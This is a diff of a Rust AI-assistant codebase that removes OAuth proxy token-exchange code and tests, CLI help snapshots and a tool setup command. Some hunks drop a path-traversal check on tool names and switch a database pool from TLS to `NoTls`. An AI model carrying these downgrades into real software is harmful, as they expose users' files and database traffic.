/// Returns the nonce unchanged when `IRONCLAW_INSTANCE_NAME` is not set
|
|
||||||
/// (local/non-platform mode).
|
|
||||||
pub fn build_platform_state(nonce: &str) -> String {
|
|
||||||
let instance = std::env::var("IRONCLAW_INSTANCE_NAME")
|
|
||||||
.or_else(|_| std::env::var("OPENCLAW_INSTANCE_NAME"))
|
|
||||||
.ok()
|
|
||||||
.filter(|v| !v.is_empty());
|
|
||||||
match instance {
|
|
||||||
Some(name) => format!("{}:{}", name, nonce),
|
|
||||||
None => nonce.to_string(),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Strip the instance prefix from a state parameter to recover the lookup nonce.
|
|
||||||
///
|
|
||||||
/// `"myinstance:abc123"` → `"abc123"`, `"abc123"` → `"abc123"` (no prefix).
|
|
||||||
///
|
|
||||||
/// Safe because nonces are base64url-encoded (`[A-Za-z0-9_-]`, no colons).
|
|
||||||
pub fn strip_instance_prefix(state: &str) -> &str {
|
|
||||||
state
|
|
||||||
.split_once(':')
|
|
||||||
.map(|(_, nonce)| nonce)
|
|
||||||
.unwrap_or(state)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Exchange an OAuth authorization code via the platform's token exchange proxy.
|
|
||||||
///
|
|
||||||
/// The proxy holds `client_secret` server-side so the container never sees it.
|
|
||||||
/// Authenticated via the gateway auth token (Bearer header).
|
|
||||||
///
|
|
||||||
/// The proxy expects form params `{code, redirect_uri, code_verifier}` and
|
|
||||||
/// returns a standard Google token response `{access_token, refresh_token, expires_in}`.
|
|
||||||
pub async fn exchange_via_proxy(
|
|
||||||
proxy_url: &str,
|
|
||||||
gateway_token: &str,
|
|
||||||
code: &str,
|
|
||||||
redirect_uri: &str,
|
|
||||||
code_verifier: Option<&str>,
|
|
||||||
access_token_field: &str,
|
|
||||||
) -> Result<OAuthTokenResponse, OAuthCallbackError> {
|
|
||||||
if gateway_token.is_empty() {
|
|
||||||
return Err(OAuthCallbackError::Io(
|
|
||||||
"Gateway auth token is required for proxy token exchange".to_string(),
|
|
||||||
));
|
|
||||||
}
|
|
||||||
let exchange_url = format!("{}/oauth/exchange", proxy_url.trim_end_matches('/'));
|
|
||||||
|
|
||||||
let client = reqwest::Client::builder()
|
|
||||||
.timeout(Duration::from_secs(60))
|
|
||||||
.build()
|
|
||||||
.map_err(|e| OAuthCallbackError::Io(format!("Failed to build HTTP client: {}", e)))?;
|
|
||||||
let mut params = vec![
|
|
||||||
("code", code.to_string()),
|
|
||||||
("redirect_uri", redirect_uri.to_string()),
|
|
||||||
];
|
|
||||||
if let Some(verifier) = code_verifier {
|
|
||||||
params.push(("code_verifier", verifier.to_string()));
|
|
||||||
}
|
|
||||||
|
|
||||||
let response = client
|
|
||||||
.post(&exchange_url)
|
|
||||||
.bearer_auth(gateway_token)
|
|
||||||
.form(¶ms)
|
|
||||||
.send()
|
|
||||||
.await
|
|
||||||
.map_err(|e| {
|
|
||||||
OAuthCallbackError::Io(format!("Token exchange proxy request failed: {}", e))
|
|
||||||
})?;
|
|
||||||
|
|
||||||
if !response.status().is_success() {
|
|
||||||
let status = response.status();
|
|
||||||
let body = response.text().await.unwrap_or_default();
|
|
||||||
return Err(OAuthCallbackError::Io(format!(
|
|
||||||
"Token exchange proxy failed: {} - {}",
|
|
||||||
status, body
|
|
||||||
)));
|
|
||||||
}
|
|
||||||
|
|
||||||
let token_data: serde_json::Value = response
|
|
||||||
.json()
|
|
||||||
.await
|
|
||||||
.map_err(|e| OAuthCallbackError::Io(format!("Failed to parse proxy response: {}", e)))?;
|
|
||||||
|
|
||||||
let access_token = token_data
|
|
||||||
.get(access_token_field)
|
|
||||||
.and_then(|v| v.as_str())
|
|
||||||
.ok_or_else(|| {
|
|
||||||
let fields: Vec<&str> = token_data
|
|
||||||
.as_object()
|
|
||||||
.map(|o| o.keys().map(|k| k.as_str()).collect())
|
|
||||||
.unwrap_or_default();
|
|
||||||
OAuthCallbackError::Io(format!(
|
|
||||||
"No '{}' field in proxy response (fields present: {:?})",
|
|
||||||
access_token_field, fields
|
|
||||||
))
|
|
||||||
})?
|
|
||||||
.to_string();
|
|
||||||
|
|
||||||
let refresh_token = token_data
|
|
||||||
.get("refresh_token")
|
|
||||||
.and_then(|v| v.as_str())
|
|
||||||
.map(String::from);
|
|
||||||
let expires_in = token_data.get("expires_in").and_then(|v| v.as_u64());
|
|
||||||
|
|
||||||
Ok(OAuthTokenResponse {
|
|
||||||
access_token,
|
|
||||||
refresh_token,
|
|
||||||
expires_in,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(test)]
|
#[cfg(test)]
|
||||||
mod tests {
|
mod tests {
|
||||||
use std::sync::Mutex;
|
use std::sync::Mutex;
|
||||||
@@ -1053,262 +512,4 @@ mod tests {
|
|||||||
assert!(html.contains("#ef4444")); // red accent
|
assert!(html.contains("#ef4444")); // red accent
|
||||||
assert!(!html.contains("Connected"));
|
assert!(!html.contains("Connected"));
|
||||||
}
|
}
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_build_oauth_url_basic() {
|
|
||||||
use std::collections::HashMap;
|
|
||||||
|
|
||||||
use crate::cli::oauth_defaults::build_oauth_url;
|
|
||||||
|
|
||||||
let result = build_oauth_url(
|
|
||||||
"https://accounts.google.com/o/oauth2/auth",
|
|
||||||
"my-client-id",
|
|
||||||
"http://localhost:9876/callback",
|
|
||||||
&["openid".to_string(), "email".to_string()],
|
|
||||||
false,
|
|
||||||
&HashMap::new(),
|
|
||||||
);
|
|
||||||
|
|
||||||
assert!(
|
|
||||||
result
|
|
||||||
.url
|
|
||||||
.starts_with("https://accounts.google.com/o/oauth2/auth?")
|
|
||||||
);
|
|
||||||
assert!(result.url.contains("client_id=my-client-id"));
|
|
||||||
assert!(result.url.contains("response_type=code"));
|
|
||||||
assert!(result.url.contains("redirect_uri="));
|
|
||||||
assert!(result.url.contains("scope=openid%20email"));
|
|
||||||
assert!(result.url.contains("state="));
|
|
||||||
assert!(result.code_verifier.is_none());
|
|
||||||
assert!(!result.state.is_empty());
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_build_oauth_url_with_pkce() {
|
|
||||||
use std::collections::HashMap;
|
|
||||||
|
|
||||||
use crate::cli::oauth_defaults::build_oauth_url;
|
|
||||||
|
|
||||||
let result = build_oauth_url(
|
|
||||||
"https://auth.example.com/authorize",
|
|
||||||
"client-123",
|
|
||||||
"http://localhost:9876/callback",
|
|
||||||
&[],
|
|
||||||
true,
|
|
||||||
&HashMap::new(),
|
|
||||||
);
|
|
||||||
|
|
||||||
assert!(result.url.contains("code_challenge="));
|
|
||||||
assert!(result.url.contains("code_challenge_method=S256"));
|
|
||||||
assert!(result.code_verifier.is_some());
|
|
||||||
let verifier = result.code_verifier.unwrap();
|
|
||||||
assert!(!verifier.is_empty());
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_build_oauth_url_with_extra_params() {
|
|
||||||
use std::collections::HashMap;
|
|
||||||
|
|
||||||
use crate::cli::oauth_defaults::build_oauth_url;
|
|
||||||
|
|
||||||
let mut extra = HashMap::new();
|
|
||||||
extra.insert("access_type".to_string(), "offline".to_string());
|
|
||||||
extra.insert("prompt".to_string(), "consent".to_string());
|
|
||||||
|
|
||||||
let result = build_oauth_url(
|
|
||||||
"https://auth.example.com/authorize",
|
|
||||||
"client-123",
|
|
||||||
"http://localhost:9876/callback",
|
|
||||||
&["read".to_string()],
|
|
||||||
false,
|
|
||||||
&extra,
|
|
||||||
);
|
|
||||||
|
|
||||||
assert!(result.url.contains("access_type=offline"));
|
|
||||||
assert!(result.url.contains("prompt=consent"));
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_build_oauth_url_state_is_unique() {
|
|
||||||
use std::collections::HashMap;
|
|
||||||
|
|
||||||
use crate::cli::oauth_defaults::build_oauth_url;
|
|
||||||
|
|
||||||
let result1 = build_oauth_url(
|
|
||||||
"https://auth.example.com/authorize",
|
|
||||||
"client",
|
|
||||||
"http://localhost:9876/callback",
|
|
||||||
&[],
|
|
||||||
false,
|
|
||||||
&HashMap::new(),
|
|
||||||
);
|
|
||||||
let result2 = build_oauth_url(
|
|
||||||
"https://auth.example.com/authorize",
|
|
||||||
"client",
|
|
||||||
"http://localhost:9876/callback",
|
|
||||||
&[],
|
|
||||||
false,
|
|
||||||
&HashMap::new(),
|
|
||||||
);
|
|
||||||
|
|
||||||
// State should be different each time (random)
|
|
||||||
assert_ne!(result1.state, result2.state);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_use_gateway_callback_false_by_default() {
|
|
||||||
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
|
|
||||||
let original = std::env::var("IRONCLAW_OAUTH_CALLBACK_URL").ok();
|
|
||||||
// SAFETY: Under ENV_MUTEX, no concurrent env access.
|
|
||||||
unsafe {
|
|
||||||
std::env::remove_var("IRONCLAW_OAUTH_CALLBACK_URL");
|
|
||||||
}
|
|
||||||
assert!(!crate::cli::oauth_defaults::use_gateway_callback());
|
|
||||||
unsafe {
|
|
||||||
if let Some(val) = original {
|
|
||||||
std::env::set_var("IRONCLAW_OAUTH_CALLBACK_URL", val);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_use_gateway_callback_true_for_hosted() {
|
|
||||||
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
|
|
||||||
let original = std::env::var("IRONCLAW_OAUTH_CALLBACK_URL").ok();
|
|
||||||
// SAFETY: Under ENV_MUTEX, no concurrent env access.
|
|
||||||
unsafe {
|
|
||||||
std::env::set_var(
|
|
||||||
"IRONCLAW_OAUTH_CALLBACK_URL",
|
|
||||||
"https://kind-deer.agent1.near.ai",
|
|
||||||
);
|
|
||||||
}
|
|
||||||
assert!(crate::cli::oauth_defaults::use_gateway_callback());
|
|
||||||
unsafe {
|
|
||||||
if let Some(val) = original {
|
|
||||||
std::env::set_var("IRONCLAW_OAUTH_CALLBACK_URL", val);
|
|
||||||
} else {
|
|
||||||
std::env::remove_var("IRONCLAW_OAUTH_CALLBACK_URL");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_use_gateway_callback_false_for_localhost() {
|
|
||||||
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
|
|
||||||
let original = std::env::var("IRONCLAW_OAUTH_CALLBACK_URL").ok();
|
|
||||||
// SAFETY: Under ENV_MUTEX, no concurrent env access.
|
|
||||||
unsafe {
|
|
||||||
std::env::set_var("IRONCLAW_OAUTH_CALLBACK_URL", "http://127.0.0.1:3001");
|
|
||||||
}
|
|
||||||
assert!(!crate::cli::oauth_defaults::use_gateway_callback());
|
|
||||||
unsafe {
|
|
||||||
if let Some(val) = original {
|
|
||||||
std::env::set_var("IRONCLAW_OAUTH_CALLBACK_URL", val);
|
|
||||||
} else {
|
|
||||||
std::env::remove_var("IRONCLAW_OAUTH_CALLBACK_URL");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_use_gateway_callback_false_for_empty() {
|
|
||||||
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
|
|
||||||
let original = std::env::var("IRONCLAW_OAUTH_CALLBACK_URL").ok();
|
|
||||||
// SAFETY: Under ENV_MUTEX, no concurrent env access.
|
|
||||||
unsafe {
|
|
||||||
std::env::set_var("IRONCLAW_OAUTH_CALLBACK_URL", "");
|
|
||||||
}
|
|
||||||
assert!(!crate::cli::oauth_defaults::use_gateway_callback());
|
|
||||||
unsafe {
|
|
||||||
if let Some(val) = original {
|
|
||||||
std::env::set_var("IRONCLAW_OAUTH_CALLBACK_URL", val);
|
|
||||||
} else {
|
|
||||||
std::env::remove_var("IRONCLAW_OAUTH_CALLBACK_URL");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_build_platform_state_with_instance() {
|
|
||||||
use crate::cli::oauth_defaults::build_platform_state;
|
|
||||||
|
|
||||||
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
|
|
||||||
let original = std::env::var("IRONCLAW_INSTANCE_NAME").ok();
|
|
||||||
// SAFETY: Under ENV_MUTEX, no concurrent env access.
|
|
||||||
unsafe {
|
|
||||||
std::env::set_var("IRONCLAW_INSTANCE_NAME", "kind-deer");
|
|
||||||
}
|
|
||||||
assert_eq!(build_platform_state("abc123"), "kind-deer:abc123");
|
|
||||||
unsafe {
|
|
||||||
if let Some(val) = original {
|
|
||||||
std::env::set_var("IRONCLAW_INSTANCE_NAME", val);
|
|
||||||
} else {
|
|
||||||
std::env::remove_var("IRONCLAW_INSTANCE_NAME");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_build_platform_state_without_instance() {
|
|
||||||
use crate::cli::oauth_defaults::build_platform_state;
|
|
||||||
|
|
||||||
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
|
|
||||||
let original = std::env::var("IRONCLAW_INSTANCE_NAME").ok();
|
|
||||||
let original_oc = std::env::var("OPENCLAW_INSTANCE_NAME").ok();
|
|
||||||
// SAFETY: Under ENV_MUTEX, no concurrent env access.
|
|
||||||
unsafe {
|
|
||||||
std::env::remove_var("IRONCLAW_INSTANCE_NAME");
|
|
||||||
std::env::remove_var("OPENCLAW_INSTANCE_NAME");
|
|
||||||
}
|
|
||||||
assert_eq!(build_platform_state("abc123"), "abc123");
|
|
||||||
unsafe {
|
|
||||||
if let Some(val) = original {
|
|
||||||
std::env::set_var("IRONCLAW_INSTANCE_NAME", val);
|
|
||||||
}
|
|
||||||
if let Some(val) = original_oc {
|
|
||||||
std::env::set_var("OPENCLAW_INSTANCE_NAME", val);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_build_platform_state_with_openclaw_instance() {
|
|
||||||
use crate::cli::oauth_defaults::build_platform_state;
|
|
||||||
|
|
||||||
let _guard = ENV_MUTEX.lock().expect("env mutex poisoned");
|
|
||||||
let original_ic = std::env::var("IRONCLAW_INSTANCE_NAME").ok();
|
|
||||||
let original_oc = std::env::var("OPENCLAW_INSTANCE_NAME").ok();
|
|
||||||
// SAFETY: Under ENV_MUTEX, no concurrent env access.
|
|
||||||
unsafe {
|
|
||||||
std::env::remove_var("IRONCLAW_INSTANCE_NAME");
|
|
||||||
std::env::set_var("OPENCLAW_INSTANCE_NAME", "quiet-lion");
|
|
||||||
}
|
|
||||||
assert_eq!(build_platform_state("xyz789"), "quiet-lion:xyz789");
|
|
||||||
unsafe {
|
|
||||||
if let Some(val) = original_ic {
|
|
||||||
std::env::set_var("IRONCLAW_INSTANCE_NAME", val);
|
|
||||||
}
|
|
||||||
if let Some(val) = original_oc {
|
|
||||||
std::env::set_var("OPENCLAW_INSTANCE_NAME", val);
|
|
||||||
} else {
|
|
||||||
std::env::remove_var("OPENCLAW_INSTANCE_NAME");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_strip_instance_prefix_with_colon() {
|
|
||||||
use crate::cli::oauth_defaults::strip_instance_prefix;
|
|
||||||
|
|
||||||
assert_eq!(strip_instance_prefix("kind-deer:abc123"), "abc123");
|
|
||||||
assert_eq!(strip_instance_prefix("my-instance:xyz"), "xyz");
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_strip_instance_prefix_without_colon() {
|
|
||||||
use crate::cli::oauth_defaults::strip_instance_prefix;
|
|
||||||
|
|
||||||
assert_eq!(strip_instance_prefix("abc123"), "abc123");
|
|
||||||
assert_eq!(strip_instance_prefix(""), "");
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,31 +0,0 @@
|
|||||||
---
|
|
||||||
source: src/cli/mod.rs
|
|
||||||
expression: help
|
|
||||||
---
|
|
||||||
Secure personal AI assistant that protects your data and expands its capabilities
|
|
||||||
|
|
||||||
Usage: ironclaw [OPTIONS] [COMMAND]
|
|
||||||
|
|
||||||
Commands:
|
|
||||||
run Run the AI agent
|
|
||||||
onboard Run interactive setup wizard
|
|
||||||
config Manage app configs
|
|
||||||
tool Manage WASM tools
|
|
||||||
registry Browse/install extensions
|
|
||||||
mcp Manage MCP servers
|
|
||||||
memory Manage workspace memory
|
|
||||||
pairing Manage DM pairing
|
|
||||||
service Manage OS service
|
|
||||||
doctor Run diagnostics
|
|
||||||
status Show system status
|
|
||||||
completion Generate completions
|
|
||||||
help Print this message or the help of the given subcommand(s)
|
|
||||||
|
|
||||||
Options:
|
|
||||||
--cli-only Run in interactive CLI mode only (disable other channels)
|
|
||||||
--no-db Skip database connection (for testing)
|
|
||||||
-m, --message <MESSAGE> Single message mode - send one message and exit
|
|
||||||
-c, --config <CONFIG> Configuration file path (optional, uses env vars by default)
|
|
||||||
--no-onboard Skip first-run onboarding check
|
|
||||||
-h, --help Print help (see more with '--help')
|
|
||||||
-V, --version Print version
|
|
||||||
@@ -1,47 +0,0 @@
|
|||||||
---
|
|
||||||
source: src/cli/mod.rs
|
|
||||||
expression: help
|
|
||||||
---
|
|
||||||
IronClaw is a secure AI assistant. Use 'ironclaw <subcommand> --help' for details.
|
|
||||||
Examples:
|
|
||||||
ironclaw run # Start the agent
|
|
||||||
ironclaw config list # List configs
|
|
||||||
|
|
||||||
Usage: ironclaw [OPTIONS] [COMMAND]
|
|
||||||
|
|
||||||
Commands:
|
|
||||||
run Run the AI agent
|
|
||||||
onboard Run interactive setup wizard
|
|
||||||
config Manage app configs
|
|
||||||
tool Manage WASM tools
|
|
||||||
registry Browse/install extensions
|
|
||||||
mcp Manage MCP servers
|
|
||||||
memory Manage workspace memory
|
|
||||||
pairing Manage DM pairing
|
|
||||||
service Manage OS service
|
|
||||||
doctor Run diagnostics
|
|
||||||
status Show system status
|
|
||||||
completion Generate completions
|
|
||||||
help Print this message or the help of the given subcommand(s)
|
|
||||||
|
|
||||||
Options:
|
|
||||||
--cli-only
|
|
||||||
Run in interactive CLI mode only (disable other channels)
|
|
||||||
|
|
||||||
--no-db
|
|
||||||
Skip database connection (for testing)
|
|
||||||
|
|
||||||
-m, --message <MESSAGE>
|
|
||||||
Single message mode - send one message and exit
|
|
||||||
|
|
||||||
-c, --config <CONFIG>
|
|
||||||
Configuration file path (optional, uses env vars by default)
|
|
||||||
|
|
||||||
--no-onboard
|
|
||||||
Skip first-run onboarding check
|
|
||||||
|
|
||||||
-h, --help
|
|
||||||
Print help (see a summary with '-h')
|
|
||||||
|
|
||||||
-V, --version
|
|
||||||
Print version
|
|
||||||
+13
-4
@@ -5,7 +5,6 @@
|
|||||||
|
|
||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
|
|
||||||
use crate::bootstrap::ironclaw_base_dir;
|
|
||||||
use crate::settings::Settings;
|
use crate::settings::Settings;
|
||||||
|
|
||||||
/// Run the status command, printing system health info.
|
/// Run the status command, printing system health info.
|
||||||
@@ -169,7 +168,11 @@ async fn check_database() -> anyhow::Result<()> {
|
|||||||
url: Some(url),
|
url: Some(url),
|
||||||
..Default::default()
|
..Default::default()
|
||||||
};
|
};
|
||||||
let pool = crate::db::tls::create_pool(&config, crate::config::SslMode::from_env())
|
let pool = config
|
||||||
|
.create_pool(
|
||||||
|
Some(deadpool_postgres::Runtime::Tokio1),
|
||||||
|
tokio_postgres::NoTls,
|
||||||
|
)
|
||||||
.map_err(|e| anyhow::anyhow!("pool error: {}", e))?;
|
.map_err(|e| anyhow::anyhow!("pool error: {}", e))?;
|
||||||
|
|
||||||
let client = tokio::time::timeout(std::time::Duration::from_secs(5), pool.get())
|
let client = tokio::time::timeout(std::time::Duration::from_secs(5), pool.get())
|
||||||
@@ -203,9 +206,15 @@ fn count_wasm_files(dir: &std::path::Path) -> usize {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn default_tools_dir() -> PathBuf {
|
fn default_tools_dir() -> PathBuf {
|
||||||
ironclaw_base_dir().join("tools")
|
dirs::home_dir()
|
||||||
|
.unwrap_or_else(|| PathBuf::from("."))
|
||||||
|
.join(".ironclaw")
|
||||||
|
.join("tools")
|
||||||
}
|
}
|
||||||
|
|
||||||
fn default_channels_dir() -> PathBuf {
|
fn default_channels_dir() -> PathBuf {
|
||||||
ironclaw_base_dir().join("channels")
|
dirs::home_dir()
|
||||||
|
.unwrap_or_else(|| PathBuf::from("."))
|
||||||
|
.join(".ironclaw")
|
||||||
|
.join("channels")
|
||||||
}
|
}
|
||||||
|
|||||||
+221
-242
@@ -9,7 +9,6 @@ use std::sync::Arc;
|
|||||||
use clap::Subcommand;
|
use clap::Subcommand;
|
||||||
use tokio::fs;
|
use tokio::fs;
|
||||||
|
|
||||||
use crate::bootstrap::ironclaw_base_dir;
|
|
||||||
use crate::config::Config;
|
use crate::config::Config;
|
||||||
#[allow(unused_imports)]
|
#[allow(unused_imports)]
|
||||||
use crate::db::Database;
|
use crate::db::Database;
|
||||||
@@ -20,7 +19,9 @@ use crate::tools::wasm::{CapabilitiesFile, compute_binary_hash};
|
|||||||
|
|
||||||
/// Default tools directory.
|
/// Default tools directory.
|
||||||
fn default_tools_dir() -> PathBuf {
|
fn default_tools_dir() -> PathBuf {
|
||||||
ironclaw_base_dir().join("tools")
|
dirs::home_dir()
|
||||||
|
.map(|h| h.join(".ironclaw").join("tools"))
|
||||||
|
.unwrap_or_else(|| PathBuf::from(".ironclaw/tools"))
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Subcommand, Debug, Clone)]
|
#[derive(Subcommand, Debug, Clone)]
|
||||||
@@ -99,20 +100,6 @@ pub enum ToolCommand {
|
|||||||
#[arg(short, long, default_value = "default")]
|
#[arg(short, long, default_value = "default")]
|
||||||
user: String,
|
user: String,
|
||||||
},
|
},
|
||||||
|
|
||||||
/// Configure required secrets for a tool (from setup.required_secrets)
|
|
||||||
Setup {
|
|
||||||
/// Name of the tool
|
|
||||||
name: String,
|
|
||||||
|
|
||||||
/// Directory to look for tool (default: ~/.ironclaw/tools/)
|
|
||||||
#[arg(short, long)]
|
|
||||||
dir: Option<PathBuf>,
|
|
||||||
|
|
||||||
/// User ID for storing the secret (default: "default")
|
|
||||||
#[arg(short, long, default_value = "default")]
|
|
||||||
user: String,
|
|
||||||
},
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Run a tool command.
|
/// Run a tool command.
|
||||||
@@ -131,7 +118,6 @@ pub async fn run_tool_command(cmd: ToolCommand) -> anyhow::Result<()> {
|
|||||||
ToolCommand::Remove { name, dir } => remove_tool(name, dir).await,
|
ToolCommand::Remove { name, dir } => remove_tool(name, dir).await,
|
||||||
ToolCommand::Info { name_or_path, dir } => show_tool_info(name_or_path, dir).await,
|
ToolCommand::Info { name_or_path, dir } => show_tool_info(name_or_path, dir).await,
|
||||||
ToolCommand::Auth { name, dir, user } => auth_tool(name, dir, user).await,
|
ToolCommand::Auth { name, dir, user } => auth_tool(name, dir, user).await,
|
||||||
ToolCommand::Setup { name, dir, user } => setup_tool(name, dir, user).await,
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -538,24 +524,43 @@ fn print_capabilities_detail(caps: &CapabilitiesFile) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Validate a tool name to prevent path traversal.
|
/// Configure authentication for a tool.
|
||||||
fn validate_tool_name(name: &str) -> anyhow::Result<()> {
|
async fn auth_tool(name: String, dir: Option<PathBuf>, user_id: String) -> anyhow::Result<()> {
|
||||||
if name.is_empty()
|
let tools_dir = dir.unwrap_or_else(default_tools_dir);
|
||||||
|| name.contains('/')
|
let caps_path = tools_dir.join(format!("{}.capabilities.json", name));
|
||||||
|| name.contains('\\')
|
|
||||||
|| name.contains("..")
|
if !caps_path.exists() {
|
||||||
|| name.contains('\0')
|
|
||||||
{
|
|
||||||
anyhow::bail!(
|
anyhow::bail!(
|
||||||
"Invalid tool name '{}': must not contain path separators or '..'",
|
"Tool '{}' not found or has no capabilities file at {}",
|
||||||
name
|
name,
|
||||||
|
caps_path.display()
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Initialize the secrets store from environment config.
|
// Parse capabilities
|
||||||
async fn init_secrets_store() -> anyhow::Result<Arc<dyn SecretsStore + Send + Sync>> {
|
let content = fs::read_to_string(&caps_path).await?;
|
||||||
|
let caps = CapabilitiesFile::from_json(&content)
|
||||||
|
.map_err(|e| anyhow::anyhow!("Invalid capabilities file: {}", e))?;
|
||||||
|
|
||||||
|
// Check for auth section
|
||||||
|
let auth = caps.auth.ok_or_else(|| {
|
||||||
|
anyhow::anyhow!(
|
||||||
|
"Tool '{}' has no auth configuration.\n\
|
||||||
|
The tool may not require authentication, or auth setup is not defined.",
|
||||||
|
name
|
||||||
|
)
|
||||||
|
})?;
|
||||||
|
|
||||||
|
let display_name = auth.display_name.as_deref().unwrap_or(&name);
|
||||||
|
|
||||||
|
let header = format!("{} Authentication", display_name);
|
||||||
|
println!();
|
||||||
|
println!("╔════════════════════════════════════════════════════════════════╗");
|
||||||
|
println!("║ {:^62}║", header);
|
||||||
|
println!("╚════════════════════════════════════════════════════════════════╝");
|
||||||
|
println!();
|
||||||
|
|
||||||
|
// Initialize secrets store
|
||||||
let config = Config::from_env().await?;
|
let config = Config::from_env().await?;
|
||||||
let master_key = config.secrets.master_key().ok_or_else(|| {
|
let master_key = config.secrets.master_key().ok_or_else(|| {
|
||||||
anyhow::anyhow!(
|
anyhow::anyhow!(
|
||||||
@@ -565,7 +570,7 @@ async fn init_secrets_store() -> anyhow::Result<Arc<dyn SecretsStore + Send + Sy
|
|||||||
|
|
||||||
let crypto = SecretsCrypto::new(master_key.clone())?;
|
let crypto = SecretsCrypto::new(master_key.clone())?;
|
||||||
|
|
||||||
let store: Arc<dyn SecretsStore + Send + Sync> = {
|
let secrets_store: Arc<dyn SecretsStore + Send + Sync> = {
|
||||||
#[cfg(feature = "postgres")]
|
#[cfg(feature = "postgres")]
|
||||||
{
|
{
|
||||||
let store = crate::history::Store::new(&config.database).await?;
|
let store = crate::history::Store::new(&config.database).await?;
|
||||||
@@ -615,47 +620,6 @@ async fn init_secrets_store() -> anyhow::Result<Arc<dyn SecretsStore + Send + Sy
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
Ok(store)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Configure authentication for a tool.
|
|
||||||
async fn auth_tool(name: String, dir: Option<PathBuf>, user_id: String) -> anyhow::Result<()> {
|
|
||||||
validate_tool_name(&name)?;
|
|
||||||
let tools_dir = dir.unwrap_or_else(default_tools_dir);
|
|
||||||
let caps_path = tools_dir.join(format!("{}.capabilities.json", name));
|
|
||||||
|
|
||||||
if !caps_path.exists() {
|
|
||||||
anyhow::bail!(
|
|
||||||
"Tool '{}' not found or has no capabilities file at {}",
|
|
||||||
name,
|
|
||||||
caps_path.display()
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Parse capabilities
|
|
||||||
let content = fs::read_to_string(&caps_path).await?;
|
|
||||||
let caps = CapabilitiesFile::from_json(&content)
|
|
||||||
.map_err(|e| anyhow::anyhow!("Invalid capabilities file: {}", e))?;
|
|
||||||
|
|
||||||
// Check for auth section
|
|
||||||
let auth = caps.auth.ok_or_else(|| {
|
|
||||||
anyhow::anyhow!(
|
|
||||||
"Tool '{}' has no auth configuration.\n\
|
|
||||||
The tool may not require authentication, or auth setup is not defined.",
|
|
||||||
name
|
|
||||||
)
|
|
||||||
})?;
|
|
||||||
|
|
||||||
let display_name = auth.display_name.as_deref().unwrap_or(&name);
|
|
||||||
|
|
||||||
let header = format!("{} Authentication", display_name);
|
|
||||||
println!();
|
|
||||||
println!("╔════════════════════════════════════════════════════════════════╗");
|
|
||||||
println!("║ {:^62}║", header);
|
|
||||||
println!("╚════════════════════════════════════════════════════════════════╝");
|
|
||||||
println!();
|
|
||||||
|
|
||||||
let secrets_store = init_secrets_store().await?;
|
|
||||||
|
|
||||||
// Check if already configured
|
// Check if already configured
|
||||||
let already_configured = secrets_store
|
let already_configured = secrets_store
|
||||||
@@ -782,7 +746,11 @@ async fn auth_tool_oauth(
|
|||||||
auth: &crate::tools::wasm::AuthCapabilitySchema,
|
auth: &crate::tools::wasm::AuthCapabilitySchema,
|
||||||
oauth: &crate::tools::wasm::OAuthConfigSchema,
|
oauth: &crate::tools::wasm::OAuthConfigSchema,
|
||||||
) -> anyhow::Result<()> {
|
) -> anyhow::Result<()> {
|
||||||
use crate::cli::oauth_defaults;
|
use base64::{Engine, engine::general_purpose::URL_SAFE_NO_PAD};
|
||||||
|
use rand::RngCore;
|
||||||
|
use sha2::{Digest, Sha256};
|
||||||
|
|
||||||
|
use crate::cli::oauth_defaults::{self, OAUTH_CALLBACK_PORT};
|
||||||
|
|
||||||
let display_name = auth.display_name.as_deref().unwrap_or(&auth.secret_name);
|
let display_name = auth.display_name.as_deref().unwrap_or(&auth.secret_name);
|
||||||
|
|
||||||
@@ -823,69 +791,142 @@ async fn auth_tool_oauth(
|
|||||||
println!();
|
println!();
|
||||||
|
|
||||||
let listener = oauth_defaults::bind_callback_listener().await?;
|
let listener = oauth_defaults::bind_callback_listener().await?;
|
||||||
let redirect_uri = format!("{}/callback", oauth_defaults::callback_url());
|
